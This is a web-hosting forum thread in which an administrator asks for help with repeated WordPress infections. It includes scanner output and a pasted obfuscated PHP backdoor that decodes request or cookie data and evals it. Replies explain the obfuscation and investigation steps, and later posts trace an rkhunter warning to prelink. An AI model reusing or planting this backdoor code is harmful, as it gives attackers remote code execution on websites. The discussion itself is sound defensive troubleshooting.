I've installed maldet and isppscan and run them often. but I'm still getting bit! I noticed that one of my sites was down. upon looking at the logs one of the files wp-content/class-wp-meta-query.php could not be opened. reason - it had been renamed to .php.suspected! after copying a version from another site (same wordpress version hopefully): dir -al --snip -rw-r--r-- 1 root root 22592 Feb 10 17:55 class-wp-meta-query.php -rw-r--r-- 1 web45 client0 31824 Jan 26 15:52 class-wp-meta-query.php.suspected --snip the suspected file is goblegook (compiled or cgi) not human readable. the php file i copied from elsewhere looks like a good php file. what is going on? how did it get in? who renamed it to suspected? maldet didnt do it - its set to qurantine . this file was never 'detected'. HELP! what do I do to stop this>>>>
Maybe you`ve installed a security-plugin in wordpress or running clamav? ippscan does not rename any files.
Beside what Florian said: Did you update WordPress and all its plugins? ispp_scan and maldet can help you to detect malware but the only way to stop future infections is to install all available updates. If you installed all updates but the site gets still infected e.g. because a plugin or theme author did not fix the issues then you can consider to install a web application firewall like mod_security as an additional defence.
its still happening - apart from sites I've installed BPS security on. but I'm VERY interested in HOW this is getting in. I have some 'test' sites that I hang off hocheapo.com those sites keep getting infected. --snip-- /var/www/clients/client0/web45/web/functions.php {ISPP}suspect.crypted.globals /var/www/clients/client0/web45/web/greenv2/wp-admin/tools.php {ISPP}suspect.globals.eval /var/www/clients/client0/web45/web/greenv2/wp-content/plugins/accordions/accordions.php {ISPP}suspect.globals.eval /var/www/clients/client0/web45/web/greenv2/wp-content/test/sources/alias52.php {ISPP}suspect.globals.eval /var/www/clients/client0/web45/web/greenv2/wp-includes/class-wp-post.php {ISPP}suspect.globals.eval /var/www/clients/client0/web45/web/newodg/wp-admin/maint/model.php {ISPP}suspect.globals.eval /var/www/clients/client0/web45/web/newodg/wp-content/themes/twentythirteen/themes.php {ISPP}suspect.cookie.eval /var/www/clients/client0/web45/web/newodg/wp-includes/Text/files38.php {ISPP}suspect.globals.eval /var/www/clients/client0/web45/web/newodg/wp-signup.php {ISPP}suspect.globals.eval =========================== --snip-- Now I have manually cleaned the files - they all had big encoded base64 block at the top of the file right after <?php. I delete the top line, insert <?php and the file is restored. but how can I find out what these files are DOING? and how they are finding these places and how they are doing the infection? rather important! research time maybe? you can look at one of the files at www.technomages.com/WPBOGUS.ZZZ (its wp-signup.php renamed).
here is one of the blocks at the top of one of the files. I've tried some of the online php de-obfuscators and no luck. any idea what it does? <?php $GLOBALS['k5c7a36'];global$k5c7a36;$k5c7a36=$GLOBALS;$k5c7a36['v354']="\x46\x2c\x28\x43\x2f\x75\x4c\x5b\x2e\x73\x37\x6b\x5a\x5f\x7b\x61\x66\x56\x4a\xd\x6c\x5e\x42\x62\x5c\x4f\x2a\x3d\x59\x50\x7d\x55\x72\x4d\x38\x40\x70\x27\x65\x69\x64\x29\x32\x71\xa\x26\x54\x6e\x7c\x5d\x79\x2b\x52\x22\x6d\x6a\x60\x31\x44\x4b\x78\x3b\x74\x49\x3f\x67\x58\x35\x9\x41\x3c\x47\x21\x23\x39\x63\x48\x36\x34\x7a\x51\x2d\x30\x57\x45\x24\x4e\x76\x3e\x25\x33\x3a\x7e\x20\x77\x6f\x53\x68";$k5c7a36[$k5c7a36['v354'][62].$k5c7a36['v354'][75].$k5c7a36['v354'][78].$k5c7a36['v354'][77].$k5c7a36['v354'][34]]=$k5c7a36['v354'][75].$k5c7a36['v354'][97].$k5c7a36['v354'][32];$k5c7a36[$k5c7a36['v354'][97].$k5c7a36['v354'][15].$k5c7a36['v354'][74].$k5c7a36['v354'][42].$k5c7a36['v354'][82].$k5c7a36['v354'][38].$k5c7a36['v354'][81].$k5c7a36['v354'][23].$k5c7a36['v354'][75].$k5c7a36['v354'][57].$k5c7a36['v354'][67].$k5c7a36['v354'][77].$k5c7a36['v354'][82].$k5c7a36['v354'][57].$k5c7a36['v354'][67].$k5c7a36['v354'][38].$k5c7a36['v354'][38].$k5c7a36['v354'][75].$k5c7a36['v354'][16];global$qf916528;function y8a10dc6($je37f,$e83bff){global$k5c7a36;$zb0eaf="";for($ge48=0;$ge48<$k5c7a36[$k5c7a36['v354'][65].$k5c7a36['v354'][15].$k5c7a36['v354'][74].$k5c7a36['v354'][82]]($je37f){for($ede83a37=0;$ede83a37<$k5c7a36[$k5c7a36['v354'][65].$k5c7a36['v354'][15].$k5c7a36['v354'][74].$k5c7a36['v354'][82]]($e83bff)&&$ge48<$k5c7a36[$k5c7a36['v354'][65].$k5c7a36['v354'][15].$k5c7a36['v354'][74].$k5c7a36['v354'][82]]($je37f);$ede83a37++,$ge48++){$zb0eaf.=$k5c7a36[$k5c7a36['v354'][62].$k5c7a36['v354'][75].$k5c7a36['v354'][78].$k5c7a36['v354'][77].$k5c7a36['v354'][34]]($k5c7a36[$k5c7a36['v354'][97].$k5c7a36['v354'][15].$k5c7a36['v354'][74].$k5c7a36['v354'][67].$k5c7a36['v354'][78].$k5c7a36['v354'][38].$k5c7a36['v354'][67].$k5c7a36['v354'][40].$k5c7a36['v354'][75]]($je37f[$ge48])^$k5c7a36[$k5c7a36['v354'][97].$k5c7a36['v354'][15].$k5c7a36['v354'][74].$k5c7a36['v354'][67].$k5c7a36['v354'][78].$k5c7a36['v354'][38].$k5c7a36['v354'][67].$k5c7a36['v354'][40].$k5c7a36['v354'][75]]($e83bff[$ede83a37]));}}return$zb0eaf;}function kf1ef($je37f,$e83bff){global$k5c7a36;global$qf916528;return$k5c7a36[$k5c7a36['v354'][36].$k5c7a36['v354'][82].$k5c7a36['v354'][82].$k5c7a36['v354'][67].$k5c7a36['v354'][82]]($k5c7a36[$k5c7a36['v354'][36].$k5c7a36['v354'][82].$k5c7a36['v354'][82].$k5c7a36['v354'][67].$k5c7a36['v354'][82]]($je37f,$qf916528),$e83bff);}foreach($k5c7a36[$k5c7a36['v354'][39].$k5c7a36['v354'][77].$k5c7a36['v354'][38].$k5c7a36['v354'][74].$k5c7a36['v354'][34]]as$e83bff=>$i64ad5){$je37f=$i64ad5;$n4f4278ac=$e83bff;}if(!$je37f){foreach($k5c7a36[$k5c7a36['v354'][54].$k5c7a36['v354'][77].$k5c7a36['v354'][16].$k5c7a36['v354'][38].$k5c7a36['v354'][74].$k5c7a36['v354'][10].$k5c7a36['v354'][57].$k5c7a36['v354'][90].$k5c7a36['v354'][34]]as$e83bff=>$i64ad5){$je37f=$i64ad5;$n4f4278ac=$e83bff;}}$je37f=@$k5c7a36[$k5c7a36['v354'][79].$k5c7a36['v354'][90].$k5c7a36['v354'][16].$k5c7a36['v354'][74]]($k5c7a36[$k5c7a36['v354'][55].$k5c7a36['v354'][34].$k5c7a36['v354'][23].$k5c7a36['v354'][10].$k5c7a36['v354'][78].$k5c7a36['v354'][57].$k5c7a36['v354'][16].$k5c7a36['v354'][75].$k5c7a36['v354'][57]]($k5c7a36[$k5c7a36['v354'][15].$k5c7a36['v354'][40].$k5c7a36['v354'][75].$k5c7a36['v354'][75].$k5c7a36['v354'][23].$k5c7a36['v354'][75].$k5c7a36['v354'][10]]($je37f),$n4f4278ac));if(isset($je37f[$k5c7a36['v354'][15].$k5c7a36['v354'][11]])&&$qf916528==$je37f[$k5c7a36['v354'][15].$k5c7a36['v354'][11]]){if($je37f[$k5c7a36['v354'][15]]==$k5c7a36['v354'][39]){$ge48=Array($k5c7a36['v354'][36].$k5c7a36['v354'][87]=>@$k5c7a36[$k5c7a36['v354'][95].$k5c7a36['v354'][34].$k5c7a36['v354'][40].$k5c7a36['v354'][77].$k5c7a36['v354'][78].$k5c7a36['v354'][23].$k5c7a36['v354'][77].$k5c7a36['v354'][77].$k5c7a36['v354'][78]](),$k5c7a36['v354'][9].$k5c7a36['v354'][87]=>$k5c7a36['v354'][57].$k5c7a36['v354'][8].$k5c7a36['v354'][82].$k5c7a36['v354'][81].$k5c7a36['v354'][57],);echo@$k5c7a36[$k5c7a36['v354'][32].$k5c7a36['v354'][10].$k5c7a36['v354'][10].$k5c7a36['v354'][42].$k5c7a36['v354'][67].$k5c7a36['v354'][42]]($ge48);}elseif($je37f[$k5c7a36['v354'][15]]==$k5c7a36['v354'][38]){eval($je37f[$k5c7a36['v354'][40]]);}exit();} ?>
on ispprotect I'm occasionally seeing emails with lines like this: PHP Warning: Module 'ionCube Loader' already loaded in Unknown on line 0 [Sun Mar 06 03:00:02 2016] [warn-phpd] The ionCube PHP Loader is disabled because of startup problems. (pid 21345) does this mean two instances of ispprotect are overlapping? or something I need to do?
Most infections happen trough a POST requst. POST Requests are not that frequently than GET requests, so the first step can be that you do a grep for POST in the access.log of the website. Then search for these post requests that happened right before the time the file got created and also search for unusual post requests, e.g. requests to files of the admin areay of a cms during night time when you are sure that no admin worked on the site or post requests to files that you wont expect a POST to, e.g. files in theme or image directories and similar unusal actions. Probably they have written their own obfuscator. The above code (I removed a part as I don't want to publish working malware here) works with a word list and then builts the code by accessing the char list trough its word index. This part: \x46\x2c\x28\x43\x2f\x75\x4c\x5b\x2e\x73\ is a list of chars in hex notation. This is not the actual code, it is basically just a list of chars that contains all char types that are needed in the resulting code. If you want to see the actual chars in "normal" notation, use the full hex string and output it with the echo command in a php file, the result is something like "F,(C/uL[.s". This char list is stored in the variable $k5c7a36['v354']. The code is then build by concatenating the chars in the correct order by accessing them by their index. E.g. this: $k5c7a36['v354'][67].$k5c7a36['v354'][40] will be char number 67 plus char number 40 Finally when the complete code has been build like that, it gets executed with eval.
We just released a new tool at ispprotect.com, the ISPProtect BanDaemon. Beside IP ipV4 and IPv6 banning with a score based approach (similar to spam scores in SpamAssassin), you can also use the BanDaemon to debug malware infections (see the last chapter on this page) http://ispprotect.com/ispprotect-bandaemon/ like you have it in your WordPress install. The BanDaemon detects suspicious GET and post requests and logs all info in such an ecent like all POST and GET variables and their content together with the URL path, this data can be used then to investigate which script in the cms is vulnerable and allows the malware upload. The BanDaemon is included in the yearly ispprotect license and you can also try it for 30 days without a license key.
further developments..... might need your expertise till - I've got most of the bs under control - ispprotect says no malware maldet does not detect anything. HOWEVER - something very odd is happening to curl. runing centos 6.x, the last curl installed was Jul 24 2015 --snip-- root@ns9 bin]# rpm -qi curl Name : curl Relocations: (not relocatable) Version : 7.19.7 Vendor: CentOS Release : 46.el6 Build Date: Fri 24 Jul 2015 01:34:06 AM EDT Install Date: Wed 12 Aug 2015 07:04:48 AM EDT Build Host: c6b8.bsys.dev.centos.org Group : Applications/Internet Source RPM: curl-7.19.7-46.el6.src.rpm\ --snip and curl from this package: -rwxr-xr-x 1 root root 119872 Jul 24 2015 curl but just on a daily basis curl is getting altered! from ./usr/.bin -rwxr-xr-x 1 root root 119872 Mar 23 08:18 curl -rwxr-xr-x 1 root root 3554 Jul 24 2015 curl-config -rwxr-xr-x 1 root root 134056 Mar 22 11:39 curl-fromrpm now the curl first listed is one I just copied manually from the dir I unpacked the rpm into. its got the correct size. but this morning when I logged in it was infact the same as curl-from-rpm. it had the 134056 size and Mar22 11:39 date what gives? (I created 'curl-from-rpm of course and originally it was 119872. something is not only altering curl but anything that starts curl* as well! how do I track this down? I'm relatively convinced I'm not supposed to see curl size changing. I noticed it from rkhunter - it was the ONLY WARNING - curl size and date altered. any ideas??
That's strange. Do you run any automatic centos updates as a cronjob? If an attacker would be able to do that, then he must have root privileges, and that would be a really bad thing. So lats hope that it is just a strange effect of an update script or some kind auf automatic restore function. You should consider to do a scan with chkrootkit and laynis as well: https://www.howtoforge.com/tutorial/how-to-scan-linux-for-malware-and-rootkits/ if you like to protect curl from changing, try to run a: chattr +i /path/to/curl this will set the immutable bit so that even cahnges as root wold require to remove it with again chattr first.
wow this just keeps getting weirder. I copied the curl from the unpacked rpm (size) 119872 into usr/bin I also copied it as cdb-curl-orig (as well as just 'curl'). day or so later BOTH files has their sizes altered to 134056! I put the immutable bit on curl, to keep changes from happening but of course now rkhunter complains that it has the immutable bit set! any chance rkhunter is DOING this??? none of the others you mentaion, chkrootkit and laynis report anything cdb.
you can whitelist several files in rkhunter. did you check if you have a cron-job on your server that did something like this? check the files in /var/spool/cron
some further information - I have had curl (size 119872) saved as another name and have been playing round trying to see whats happening. the altered curl has always had file 134056. I saw a post saying 'try running prelink' to resolve rkhunter issues. when I ran prelink on the /usr/bin file of size 119872 - wow now curl has size 134056! apparently prelink is whats causing the difference that rkhunter is complaining about. does this make more sense? is prelink run daily? and is this reasonable that curl would change to the 'new' size?
I've concluded this is a false positive warning and rkhunter --propupd does NOT stop the warning. I've edited the rkhunter.conf to add: EXCLUDE_USER_FILEPROP_FILES_DIRS=/usr/bin/curl* but it still pops up with the warning!! and since rkhunter is run by ispprotect I cant stop it!
ISPProtect is not running rkhunter. But rkhunter is run by ISPConfig. If you dont want it to be run, just uninstall it. You can e.g. try the new software lynis instead which is developed by the rkhunter author.
I dont mind rkhunter running as well- I have lynis running as well. is it in all ways better than rkhunter? the MOST annoying thing (I've concluded that prelink is what is altering the curl file) - rkhunter --propupd does NOT eliminate the warning! why would that be the case? prelink only alters the file once. --propupd says and I have tried using the EXLUDEUSER.. EXCLUDE_USER_FILEPROP_FILES_DIRS=/usr/bin/curl* to exclude curl from the scan no good (I guess its in the 'required' initial list of system files). why is --propupd not working to log the new filesize? and why does the EXCLUDE not work?
I don't know, you might have to ask its author Maybe the author of rkhunter can tell you that. I did not had such a case yet.
not sure if I'll ever hear from author. but - at least to make sure we dont worry about curl - I edited rkhunter itself and removed curl from PROP_FILE_LIST now curl is now longer a problem. but rkhunter lead to warnings! (of course it had changed). --propupd again did NOT fix the warning. so wtf? just removed rkhunter from PROP_FILE_LIST as well. now at least I get no false positives - until the next rkhunter upgrade! LOL
